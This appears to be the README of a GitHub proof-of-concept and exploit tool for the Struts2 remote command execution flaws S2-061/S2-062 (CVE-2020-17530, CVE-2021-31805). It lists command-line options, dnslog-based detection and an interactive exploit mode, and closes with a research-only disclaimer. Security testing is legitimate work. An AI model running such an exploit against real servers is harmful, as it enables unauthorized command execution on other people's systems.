z92g/cve-2021-31805S2-061/S2-062 Struts2 远程命令执行漏洞 POC&EXP
Struts2 원격 명령 실행 취약점 (CVE-2020-17530 및 CVE-2021-31805) POC&EXP
-u 目标url
-m [dnslog|exp] //默认有回显界面字符检查
-n [s2-062] //默认s2-061
-s [windows] //默认linux
-p 漏洞参数
Struts2RCE -u http://127.0.0.1:8080 //默认s2-061检测
请自行注册ceye，并配置好ceye.ini
Struts2RCE -u http://127.0.0.1:8080 -m dnslog -n s2-062 //s2-062 dnslog检测,检测速度跟网络和ceye服务器有关，不同url需要清除dnslog记录，否则会造成误判。
存在漏洞情况下，可直接输入漏洞参数进行验证
Struts2RCE -u http://127.0.0.1:8080 -m exp -p id //s2-061漏洞，参数为id的验证，输入q退出
이 도구는 학습, 연구 및 자체 점검 목적으로만 사용됩니다. 불법적인 목적으로 사용하지 마시고 관련 법률 및 규정을 준수하십시오. 이 도구를 사용하여 발생하는 모든 위험은 본인과 무관합니다!